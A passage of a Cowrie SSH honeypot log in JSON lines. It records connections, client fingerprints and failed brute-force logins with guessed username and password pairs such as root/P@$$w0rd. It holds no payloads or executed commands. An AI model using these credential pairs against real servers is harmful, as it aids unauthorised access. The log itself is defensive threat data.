v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:39.245793Z","src_ip":"141.11.88.14","session":"4808c6589c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"no","password":"no","message":"login attempt [no/no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:41.163717Z","src_ip":"141.11.88.14","session":"4808c6589c0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56182,"dst_ip":"10.17.0.5","dst_port":22,"session":"5981728d42c4","protocol":"ssh","message":"New connection: 103.77.242.62:56182 (10.17.0.5:22) [session: 5981728d42c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:41.977796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:41.981897Z","src_ip":"103.77.242.62","session":"5981728d42c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:42.218777Z","src_ip":"103.77.242.62","session":"5981728d42c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:42.805009Z","src_ip":"141.11.88.14","session":"4808c6589c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16061993","message":"login attempt [root/16061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:42.932454Z","src_ip":"103.77.242.62","session":"5981728d42c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49470,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b4fc0a00667","protocol":"ssh","message":"New connection: 141.11.88.14:49470 (10.17.0.5:22) [session: 2b4fc0a00667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:44.151486Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:44.172640Z","src_ip":"103.77.242.62","session":"5981728d42c4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:44.836081Z","src_ip":"141.11.88.14","session":"2b4fc0a00667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:44.839568Z","src_ip":"141.11.88.14","session":"2b4fc0a00667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:46.873830Z","src_ip":"141.11.88.14","session":"2b4fc0a00667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:48.014736Z","src_ip":"141.11.88.14","session":"2b4fc0a00667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28720,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce3b807a17a2","protocol":"ssh","message":"New connection: 141.11.88.14:28720 (10.17.0.5:22) [session: ce3b807a17a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:51.445259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:51.450240Z","src_ip":"141.11.88.14","session":"ce3b807a17a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:51.532739Z","src_ip":"141.11.88.14","session":"ce3b807a17a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd","message":"login attempt [root/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:51.973413Z","src_ip":"141.11.88.14","session":"ce3b807a17a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:53.079323Z","src_ip":"141.11.88.14","session":"ce3b807a17a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28736,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae3930ddea94","protocol":"ssh","message":"New connection: 141.11.88.14:28736 (10.17.0.5:22) [session: ae3930ddea94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:57.524486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:57.622233Z","src_ip":"141.11.88.14","session":"ae3930ddea94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:57.629428Z","src_ip":"141.11.88.14","session":"ae3930ddea94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:58.391682Z","src_ip":"141.11.88.14","session":"ae3930ddea94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:03:59.511825Z","src_ip":"141.11.88.14","session":"ae3930ddea94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":34946,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da7ebe21dfc","protocol":"ssh","message":"New connection: 197.5.145.150:34946 (10.17.0.5:22) [session: 8da7ebe21dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:01.734529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:01.738664Z","src_ip":"197.5.145.150","session":"8da7ebe21dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:01.848301Z","src_ip":"197.5.145.150","session":"8da7ebe21dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q11111111","message":"login attempt [root/Q11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:02.325719Z","src_ip":"197.5.145.150","session":"8da7ebe21dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:03.444248Z","src_ip":"197.5.145.150","session":"8da7ebe21dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40198,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d87eb23d5e5","protocol":"ssh","message":"New connection: 141.11.88.14:40198 (10.17.0.5:22) [session: 9d87eb23d5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:04.523479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:04.651022Z","src_ip":"141.11.88.14","session":"9d87eb23d5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:04.658261Z","src_ip":"141.11.88.14","session":"9d87eb23d5e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:05.231824Z","src_ip":"141.11.88.14","session":"9d87eb23d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:06.397878Z","src_ip":"141.11.88.14","session":"9d87eb23d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35554,"dst_ip":"10.17.0.5","dst_port":22,"session":"539616bb7a6b","protocol":"ssh","message":"New connection: 141.11.88.14:35554 (10.17.0.5:22) [session: 539616bb7a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:10.803680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:10.817185Z","src_ip":"141.11.88.14","session":"539616bb7a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:10.928825Z","src_ip":"141.11.88.14","session":"539616bb7a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":64478,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76c58d912e9","protocol":"ssh","message":"New connection: 177.85.247.230:64478 (10.17.0.5:22) [session: e76c58d912e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:10.979096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:10.983473Z","src_ip":"177.85.247.230","session":"e76c58d912e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:11.086283Z","src_ip":"177.85.247.230","session":"e76c58d912e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"frank","message":"login attempt [frank/frank] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:11.281993Z","src_ip":"141.11.88.14","session":"539616bb7a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9090opop","message":"login attempt [root/9090opop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:11.536645Z","src_ip":"177.85.247.230","session":"e76c58d912e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:12.401567Z","src_ip":"141.11.88.14","session":"539616bb7a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:12.642148Z","src_ip":"177.85.247.230","session":"e76c58d912e9","protocol":"ssh"}
